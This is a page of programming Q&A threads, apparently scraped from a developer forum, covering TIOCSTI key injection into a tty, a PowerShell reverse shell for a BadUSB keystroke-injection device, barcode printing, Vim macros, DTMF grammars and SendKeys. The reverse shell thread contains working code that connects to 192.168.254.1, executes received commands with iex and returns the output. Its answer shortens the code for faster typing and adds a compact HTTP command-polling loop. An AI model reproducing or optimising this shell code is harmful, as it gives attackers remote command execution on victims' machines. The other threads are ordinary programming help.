Injecting key combinations into Bash tty using TIOCSTI in Python - bash

I am trying to inject key combinations (like ALT+.) into a tty using the TIOCSTI in Python.
For some key combinations I have found the corresponding hex code for Bash shells using the following table which works good.
From this table I can see that for example CTRL+A is '\x01' etc.
import sys,os,Queue
import termios,fcntl
# replace xx with a tty num
tty_name = "/dev/pts/xx";
parent_fd = os.open(tty_name, os.O_RDWR)
special_char = "Ctrl_a"
if special_char == "Ctrl_a":
send_char = '\x01'
if special_char == "Ctrl_e":
send_char = '\x05'
if special_char == "Ctrl_c":
send_char = '\x03'
fcntl.ioctl(self.parent_fd, termios.TIOCSTI, send_char)
But how can I get the hex codes for other combinations such as
ALT+f etc. I need a full list or a way how to get this information for any possible combo as I want to implement most bash shortcuts for moving, manipulating the history etc. to inject.
Or is there any other way to inject key-combinations using TIOCSTI ?
As I can only send single chars to a tty I wonder if there is anything else possible.
Thank you very much for your help!

The usual working of "control codes" is that the "control" modifier substracts 64 from the character code.
"A" is ASCII character 65, so "Ctrl-A" is "65-64=1".
Is it enough for you to extend this scheme to your situation?
So, if you need the control code for, for example, "Device Control 4" (ASCII code 20), you'd add 64, to obtain "84", which is "T".
Therefore, the control-code for DC4 would be "Control+T".
In the reverse direction, the value for "Control+R" (history search in BASH) is R-64, so 82-64=18 (Device Control 2)
ASCIItable.com can help with a complete listing of all character codes in ASCII
Update: Since you were asking specifically for "alt+.":
The 'Control mean minus 64" doesn't apply to Alt, unfortunately; that seems to be handled completely differently, by the keyboard driver, by generating "key codes" (also called "scancodes", variably written with or without spaces) that don't necessarily map to ASCII. (Keycodes just happen to map to ASCII for 0-9 and A-Z, which leads to much confusion)
This page lists some more keycodes, including "155" for "alt+."

Related

TCP reverse shell on Windows

I am trying to implement a proof of concept BadUSB DigiSpark that can emulate a HID keyboard and open a reverse shell just using Windows default package (i.e. PowerShell and/or CMD).
What I have found so far:
#$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();
[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Taken from Week of PowerShell Shells - Day 1.
Despite working, the aforementioned code takes too long to be typed.
Is it possible to create a reverse shell with fewer lines of code?
284 characters. Yes you can have fewer "lines of code" just by putting them all on one line, and you can't have fewer than one line, so hooray, best case already achieved.
:-| face for not even using the same tricks consistently within the same code. And for not giving any way to test it.
remove all the semicolons.
remove the space around -ne 0
remove -ne 0 because numbers cast to true and 0 casts to false
single character variable names
drop port 55555 to 5555
Change byte array from
[byte[]]$bt=0..255|%{0}
$b=[byte[]]'0'*256 # does it even need to be initialized to 0? Try without
Nest that into the reading call because who cares if it gets reinitialized every read.
[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;
#becomes
while(($i=$t.Read(($b=[byte[]]'0'*256),0,$b.Length))){
You can call [text.encoding]::ASCII.GetString($b) directly, but why ASCII? If it works if you can drop the encoding, then do
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
#becomes
$d=-join[char[]]$b
but you're only using that to call iex so put it there and don't use a variable for it. And do similar to make the byte array without calling ASCII as well...
... and: 197 chars, 30% smaller:
$t=(new-object Net.Sockets.TCPClient("192.168.254.1",5555)).GetStream()
while(($i=$t.Read(($b=[byte[]]'0'*256),0,$b.Length))){
$t.Write(($s=[byte[]][char[]](iex(-join[char[]]$b)2>&1)),0,$s.Length)}
Assuming it works, with no way to test it, it probably won't.
Edit: I guess if you can change the other side completely, then you could make it so the client would use JSON to communicate back and forth, and do a tight loop of
$u='192.168.254.1:55555';while(1){irm $u -m post -b(iex(irm $u).c)}
and your server would have to have the command ready in JSON like {'c':'gci'} and also accept a POST of the reply...
untested. 67 chars.

Print a code128 barcode starting with the character 'C'

I've written label printing software (Windows, WPF, C#, .net 4.5) that happily prints barcodes with a Datamax H-Class printer, with one exception, when printing a barcode that starts with the character C
When I attempt this, the barcode is truncated up until the first numeric character within it.
Lower case c works fine, but as some of our model codes do start with C, I need to find a way to work around this.
I guess there must be some sort of escape character that would allow this? But I've not managed to find it via Google.
I'm not 100% sure it's a code128 issue either, could it be related to the Datamax H-Class printer, the Datamax Windows C# SDK or possibly the code128 font we're using on the printer?
Sorry the details are so vague, any help or advice on what to check next would be very much appreciated.
Update.
Just in case this is of any use (I doubt it though sadly) the code I'm using to send barcodes to the printer (successfully in the case of all barcode strings not starting with C ) is as follows:
ParametersDPL paramDPL = new ParametersDPL();
paramDPL.Align = ParametersDPL.Alignment.Left;
paramDPL.Rotate = ParametersDPL.Rotation.Rotate_270;
paramDPL.IsUnicode = false;
paramDPL.TextEncoding = Encoding.ASCII;
paramDPL.WideBarWidth = 7;
paramDPL.NarrowBarWidth = 4;
paramDPL.SymbolHeight = 60;
//if the stockCode starts with 'C' the barcode will be truncated
docDPL.WriteBarCode("E", String.Format("{0} {1}", stockCode, serialNumber), COL_1, ROW_5, paramDPL);
The ParametersDPL object is from the Datamax C# SDK. The only possible problem I could see with the code is perhaps the setting of the IsUnicode or TextEncoding properties, but I've experimented with them quite a bit to no effect. None of the other properties on the ParametersDPL seemed like likely culprits either.
I'm unfamiliar with Datamax PCL, but the symptoms suggest that the "C" is being used to select subalphabet "C" of code128. It might be useful to try a stock code starting "A" or "ZB" and see whether the "A" or "B" disappears. If it does, then the first character may be being used to select a subalphabet ("A" is caps-only ASCII, "B" is no-controls ASCII.)
You'd then need to look very closely at Datamax PCL format - it may be that there's a (possibly opional) formatting character there, which makes it leading-character-sensitive. Perhaps forcing in a leading "B" would cure the problem.

How to program faster, (generate code from a pattern?)

I frequently run into problems that could be solved with automating code writing, but aren't long enough to justify it as tediously entering each piece is faster.
Here is an example:
Putting lists into dictionaries and things like this. Converting A into B.
A
hotdog HD
hamburger HB
hat H
B
def symbolizeType
case self.type
when "hotdog"
return "HD"
when "hamburger"
return "HB"
when "hat"
return "H"
end
Sure I could come up with something to do this automatically, but it would only make sense if the list was 100+ items long. For a list of 10-20 items, is there a better solution than tediously typing? This is a Ruby example, but I typically run into cases like this all the time. Instead of a case statement, maybe it's a dictionary, maybe it's a list, etc.
My current solution is a python template with the streaming input and output already in place, and I just have to write the parsing and output code. This is pretty good, but is there better? I feel like this would be something VIM macro would excel at, but I'm that experienced with VIM. Can VIM do this easily?
For vim, it'd be a macro running over a list of space separated pairs of words, inserting the first 'when "' bit, the long form word 'hotdog', the ending quote, a newline and 'return "', and then the abbreviation and then final quote, then going back to the list and repeating.
Starting with a register w of:
when "
register r of:
return "
an initial list of:
hotdog HD
hamburger HB
hat H
and a starting file of:
def symbolizeType
case self.type
"newline here"
you can use the following macro at the start of the initial list:
^"ayeeeb"byeo"wp"apa"^Mrb"j
where ^M is a newline.
I do this frequently, and I use a single register and a macro, so I'll share.
Simply pick a register, record your keystrokes, and then replay your keystrokes from the register.
This is a long explanation, but the process is extremely simple and intuitive.
Here are the steps that I would take:
A. The starting text
hotdog HD
hamburger HB
hat H
B. Insert the initial, non-repetitive lines preceding the text to transform
def symbolizeType
case self.type
hotdog HD
hamburger HB
hat H
C. Transform the first line, while recording your keystrokes in a macro
This step I'll write out in detailed sub-steps.
Place the cursor on the first line to transform ("hotdog") and type qa to begin recording your keystrokes as a macro into register a.
Type ^ to move the cursor to the start of the line
Type like you normally would to transform the line to what you want, which for me comes out looking like the following macro
^i^Iwhen "^[ea"^[ldwi^M^Ireturn "^[ea"^[j
Where ^I is Tab, ^[ is Esc, and ^M is Enter.
After the line is transformed to your liking, move your cursor to the next line that you want to transform. You can see this in the macro above with the final j at the end.
This will allow you to automatically repeat the macro while it cycles through each repetitive line.
Stop recording the macro by typing q again.
You can then replay the macro from register a as many times as you like using a standard vim count prefix, in this case two consecutive times starting from the next line to transform.
2#a
This gives the following text
def symbolizeType
case self.type
when "hotdog"
return "HD"
when "hamburger"
return "HB"
when "hat"
return "H"
D. Finally, insert the ending non-repetitive text
def symbolizeType
case self.type
when "hotdog"
return "HD"
when "hamburger"
return "HB"
when "hat"
return "H"
end
Final Comments
This works very quick for any random, repetitive text, and I find it very fluent.
Simply pick a register, record your keystrokes, and then replay your keystrokes from the register.
For things like this I have a few ways of making it easier. One is to use an editor like Sublime Text that allows you to multi-edit a number of things at once, so you can throw in markup with a few keystrokes and convert that into a Hash like:
NAME_TO_CODE = {
hotdog: 'HD',
hamburger: 'HB',
hat: 'H'
}
Not really a whole lot changed there. Your function looks like:
def symbolize_type(type)
NAME_TO_CODE[type.to_sym]
end
Defining this as a data structure has the bonus of being able to manipulate it:
CODE_TO_NAME = NAME_TO_CODE.invert
Now you can do this:
def unsymbolize_type(symbol)
CODE_TO_NAME[symbol.to_s]
end
You can also get super lazy and just parse it on the fly:
NAME_TO_CODE = Hash[%w[
hotdog HD
hamburger HB
hat H
].each_slice(2).to_a]
snippets are like the built-in :abbreviate on steroids, usually with parameter insertions, mirroring, and multiple stops inside them. One of the first, very famous (and still widely used) Vim plugins is snipMate (inspired by the TextMate editor); unfortunately, it's not maintained any more; though there is a fork. A modern alternative (that requires Python though) is UltiSnips. There are more, see this list on the Vim Tips Wiki.
There are three things to evaluate: First, the features of the snippet engine itself, second, the quality and breadth of snippets provided by the author or others; third, how easy it is to add new snippets.

Letters in DTMF | GRXML | Multiple Keypress on same number

Hi i need to know whether we can use letters(alphabets) in dtmf or touchtone in ivr application(genesys).if possible how can we use it?
FYI.,
i came to know after reading several forums,i can use the code which is given below.i need to know whether it is correct.if wrong let me know the grammar code
I need the scenario like if press '2' one time,i need 'a' and if press '2' two times i need 'b',etc..,
[(dtmf-2)] = 'a'
[(dtmf-2 dtmf-2)] = 'b'
[(dtmf-2 dtmf-2 dtmf-2)] = 'c'
In the following link,we have ABCD separate.whether it is available in all phones?
http://nemesis.lonestar.org/reference/telecom/signaling/dtmf.html
This is an old technique for spelling things out to an IVR application using DTMF. All phones use DTMF to transmit what keys are pressed. It will work on any IVR but it is up to the application developer of the IVR application to translate what the digits mean, and you need to give the user some direction on how to do this in the voice prompts. It is a very error prone method and it is best to give the user feedback on what you think they are trying to enter. But this is all we had before speech recognition came along.
Basically this is just using the letters on telephone keys as the guide. The letters "A", "B" and "C" are on key "2". You are telling them to press "2" the number of times that the letter appears in sequence on the key (i.e. "A" is first, "B" is second, and "C" is third). This method works fine for getting a single letter but it does not work so well for multiple letters unless you have the user pause for certain length of time to indicate they are finished. The IVR takes the length of silence as the ending of inputting a letter.
Another technique is to use two key presses for each letter, again using the sequence the letters appear on the number key as the guide. So the letter "A" would be 21, "B" is 22, "C" is 23, "D" is 31, etc... This technique does not require long pauses between entering a letter because the IVR knows there will be two key presses for each letter.

How do I use WScript.Shell SendKeys to send Number Pad key strokes?

I am trying to use WScript.Shell SendKeys method to emulate sending a key press from the Number Pad.
I have an application that I am writing automated testing for using QTP. It is a Web Browser based application and the input is into a Java App within the web page. The input only accepts key presses from the Number Pad and the Enter key.
So far I am using this code:
Dim strInputKey
strInputKey = "{ENTER}"
Set objWsh = CreateObject("WScript.Shell")
Browser("Launch Browser").Page("Test Application").WebElement("Item ID").Click
objWsh.SendKeys strInputKey
This works fine for sending the Enter key, but I can't quite figure out if there is a way to send Number Keys. Any help would be greatly appreciated.
I am not sure if there are any undocumented ways of achieving this. I have read http://msdn.microsoft.com/en-us/library/8c6yea83(VS.85).aspx but it doesn't go into great detail.
I don't have the rep to comment on the above answer that said
objWsh.SendKeys chr(79) & chr(80) & chr(81)
but I don't think it's correct
objWsh.SendKeys chr(79) & chr(80) & chr(81)
For a start, it sends the letters O,P,Q
And he wants numbers, like 1234567890
and the link goes to keyboard scan codes.. I think those are for knowing what key on the keyboard was pressed. They are different from ascii codes.
79,80,81 are the keyboard scan codes for some numbers on the number pad / numpad.
Chr though, uses ascii codes. not keyboard scan codes.
Furthermore, just specifying a digit, here, since it isn't done by pressing a key, it doesn't specify and needn't specify, which was key was used, since a key wasn't used.
To sendkeys some numbers (from the number pad), is just same as sending keys from the top row. You just want to send some numbers.
If all he wants to know is how to use sendkeys to send digits, then obviously.
objWsh.SendKeys 12345
or
str="12345"
objWsh.SendKeys str
But if the questioner didn't realise that objWsh.SendKeys 12345 would do it, then perhaps the questioner is just confused. I guess from the green tick, he voted an answer that is like objWsh.SendKeys "OPQ".
I am aware that this is an old question, but for the sake of haing correct questions and answers..
You'll need to use the keycodes for the number pad.
Here's a list of them:
http://www.empirisoft.com/directrt/help/_helpcontents.htm?directrt_key_codes.htm
So to send "123", you would need to do:
objWsh.SendKeys chr(79) & chr(80) & chr(81)

Resources